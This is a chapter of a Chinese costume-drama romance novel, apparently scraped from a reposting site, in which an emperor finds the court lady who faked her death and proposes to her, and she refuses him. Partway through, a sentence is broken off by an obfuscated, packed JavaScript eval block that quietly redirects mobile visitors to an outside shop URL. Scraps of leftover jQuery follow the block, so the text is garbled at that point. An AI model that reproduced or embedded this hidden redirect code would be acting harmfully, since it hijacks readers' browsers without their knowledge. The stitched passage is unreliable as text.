文趣网 > 其他小说 > 闲坐昼梦余(探案) > 46. 重来两身复一身(7)
    再迟钝的人这下也能察觉到一丝说不清道不明的暧昧,孟明夷庆幸此时是背对着他,她的大脑已然罢工,根本不知该作何反应。

    叶骞半天不说话,孟明夷实在觉得别扭,还是先开口道:“晋……陛下,可以先松开我吗?”

    叶骞意犹未尽地深吸一口气,但还是听话地退开几步。

    孟明夷转过身,因过于尴尬,不敢看他,也不知说什么好,便低着头去点灯。而叶骞全程目不转睛地盯着她,好像少看一眼她又会跑了。

    根本不用抬头,孟明夷都能感觉到他沉甸甸的视线,她慢吞吞地点完灯,再慢吞吞地挪到他跟前。

    昏黄灯光下,叶骞上唇和下巴冒出一圈胡茬,眼下也一片青黑,大约是一路赶来无暇梳洗休息,因多出这几分憔悴,显得面色阴沉得可怕。

    他眼中翻腾着一些浓烈到孟明夷不敢细看的情绪,莫名让她生出做错事的心虚。

    但她思来想去,也不觉得他们之间有多深厚的情谊,值得他亲自追上门,大概是哪里有误会。

    非要说她做错了什么,只有那件事吧,虽然她并不觉得自己错了。

    “我擅作主张谋害吴王,请陛下降罪。”

    “你……”

    沉默着僵持了片刻后,两人又同时开口,但因孟明夷一边说一边作势要跪,叶骞连忙伸出手,在她跪下前将人扶住。

    随后他才反应过来孟明夷说了什么,一时难掩心中惊喜,面上的阴郁竟一扫而空。这半年来,他想过很多可能,抓心挠肝地想得到答案,但真到了重逢之时,当看到孟明夷那一刻,他便明白了,他不需要什么答案,不管她是因厌恶他,还是心中另有所属,又或别有图谋才假死遁逃,他都不在乎,只要她在他身边就够了。

    但他唯独没想到答案如此简单。

    叶骞把着她的肩膀将她拉近到身前,说话时嘴角压都压不下去:“薛女史诛杀叛党,何罪之有?你是担心因此事受到责罚才离开?”

    被牢牢束缚住的孟明夷比以往任何时候,都更清晰地认知到两人在力量上的差距,她下意识向后仰,想离叶骞远一些,同时微微侧首避开他亮晶晶的双眼:“倒也不全是这个原因……”

    叶骞已经琢磨明白,她避而不谈时便是有所隐瞒,不看他时同样说明有心逃避,更别说他手中明确感知到她想要抽身的抗拒之意。

    他面上的喜色缓缓褪去,这次没有轻易退开,反而又使劲一拉,直到孟明夷双手握拳抵在他胸前,阻止他的得寸进尺,他才停下。

    叶骞低下头,不管她往哪个方向避让,他的视线始终紧追她的眼睛,一定要她与自己对视。比起极具侵略性的举动,他的声线却比平日脆弱,满是患得患失的意味:“还有什么原因?是我哪里做错了吗?”

    两人之间的距离近到孟明夷又能感受到他身上热腾腾的温度,他的言行已经直白到她很难再说服自己哪里有误会。

    她不再回避,抬眼和他对视上。

    除了第一次打照面时她不加掩饰地多看了叶骞几眼,后来她很少直视,更不要说和他长时间对视。此时虽然做好了心理准备,但还是被他黑亮如夜星的眼睛晃了一下心神,话说了一半忘了下文:“陛下怎会有错……”

    这少了后半截的话听起来就是在敷衍人,叶骞不明白为什么她也变得和其他人一样,心中更觉委屈,两道浓眉间拧出深刻的印记,眼中泛着水光道:“你料事如神,难道真的不明白我的心意吗?为何不能对我说实话?你若如实相告,我……”

    叶骞垂下眼帘,后面的话也卡住了。诚然不管孟明夷说出什么理由或要求,他都会答应,只是绝对不会放她离开,但这霸道的话定会引起她反感,自是不能如实相告。

    孟明夷的目光看似坦荡,其实是还处于近距离遭受叶骞英俊相貌的冲击中。

    因他常年行军,不注重保养皮相,面部骨骼感又强,容易给人留下粗犷硬朗的印象,但之前孟明夷就发现他的骨相很精妙,只是没有这么近地仔细观察过。额头、眉骨、鼻梁和鼻尖的高低起伏都恰到好处,棱角分明而不显突兀,脸型流畅窄长却不尖削,下颚勾勒出坚毅有力的轮廓,眼尾因他双目低垂而现出柳叶般纤巧的弧度,唇瓣算不上秀气,却有美人标配的唇珠。

    所有这些稍显矛盾的特征出现在同一个人脸上,却十分和谐,不由让人感叹女娲对他有多偏爱,才会精心雕琢出这样美得突出且与众不同的作品,就连连日奔波造成的黑眼圈也像是艺术品上的点缀,只为给他增添几分危险却易碎的气质。

    孟明夷意识到他不说话了才回过神,刚才好像听到他说希望她说实话,她也觉得没必要拐弯抹角了,如今不像在宫中有诸多顾忌,尽快把话说清楚比较好,于是直言道:“陛下只见过我六次。”

    正在发愁是不是不小心暴露了真实意图的叶骞听到她开口回应,迅速抬眸笑道:“你记得这么清楚?”

    两只手数得过来的次数,很难不清楚吧?孟明夷因为他清奇的脑回路顿了一下,将话讲得更明白:“我的意思是,我们见的次数太少,陛下根本不了解我到底是什么样的人,陛下的心意,恐怕只是对您想象中的薛女史的喜爱。我们之间也没有超出君臣以外的交情,因此从常理而言,我并不能得出陛下对我有意的结论,也请您三思。”

    这回答堪称冷酷无情,就差直说让叶骞不要妄想,清醒一点。

    叶骞看着孟明夷清澈却不带感情的目光,胸口隐隐作痛,但这个回答在他设想过的范围内,他还能强颜欢笑着应对:“世间不乏一见如故之交,若人与人之间的情分只拘泥于相见的次数,不也是一种着相?”

    孟明夷有一瞬间差点被他绕进去,她承认确实存在他所说的这种情况,但她不觉得适

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17966966|212684||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    用于他们两人。

    见孟明夷只是微微皱眉,没有立即反驳,叶骞有些羞赧却急切地说:“况且我还抱过你,什么君臣之间会……会那样亲密?”

    孟明夷想说以当时的情形,铁石心肠才能拒绝他寻求安慰吧?但这事涉及到叶骞母亲,她不想戳人痛处,最后只是嘀咕道:“那皇后还搓我手呢,难不成也是对我有意……”

    “皇后搓你手?”叶骞眉头一皱,松开孟明夷的肩膀,转而去捞她的手。

    终于让孟明夷逮到机会,她哪还会原地不动,等着再被抓。

    她猛地大退一步,叶骞捞了个空,他惋惜地摩擦了一下拇指和食指的指尖,目光下落,看向孟明夷的手。

    他视线中的渴求之意过于显眼,孟明夷架不住这明目张胆的觊觎,唰地一下将双手藏到身后。

    叶骞因她的警惕和抗拒他的触碰而郁闷,但看到她鲜活可爱的举动,还是没忍住笑了,然后才意识到先前的称呼不够严谨,说得好像谢瑶芳是当朝皇后一样:“不对……是先皇后。”

    “先皇后为何搓你手?”

    叶骞纠正完称呼,竟还纠结这个问题,孟明夷无奈答道:“她怀疑我装病,想看看能不能把我手上的颜色搓掉。”

    “原来如此。”

    虽然孟明夷这话完全没有前因后果,但叶骞立时想到她在说哪回事。当时他平叛归来,也被她极差的脸色吓到,她只说是橘子吃多了,他事后问了王太医才明白是何缘故。

    而这次半年多未见,孟明夷的气色比他印象中好很多,不管是白里透粉的肤色,还是说话时变足的中气,以及他方才握住的肩膀,也不再像是只有一把骨头般的瘦弱,一切都表明她将自己照顾得很好。

    她不再气虚体弱当然是好事,但认清她并不需要他也能过得很好,这段时间牵肠挂肚的只有他,还是让叶骞心头一阵酸楚。

    不过他并未因此气馁,稍微平复情绪后又接着道:“如今后位虚悬,我心中皇后的人选只有你……”

    “恕我无法胜任,还请陛下另择良配。”孟明夷不等他说完便急着打断,好像生怕多给他一丝不该有的希望。

    接二连三被毫不客气地拒绝,即使意志坚定如叶骞也难掩失落,张了下嘴却一时语塞。

    “翩翩?还不睡吗?”大概是因孟明夷房间还未熄灯,孟知周关切的声音从外面传来,听起来是从安非乐那边回来,再往前一点估计就能看到屋里有两个人影。

    孟明夷手比脑子还快,开口时已将灯熄灭:“马上睡了!姐姐也早点睡吧!”

    见灯灭了,孟知周应是断了过来闲话的念头,脚步声顿了一下,往自己房间去了。

    孟明夷又屏住呼吸等待了一会儿,听到姐姐关门的声音才放松下来。

    配合着保持安静的叶骞这才在黑暗中幽幽道:“我就这么见不得人吗?”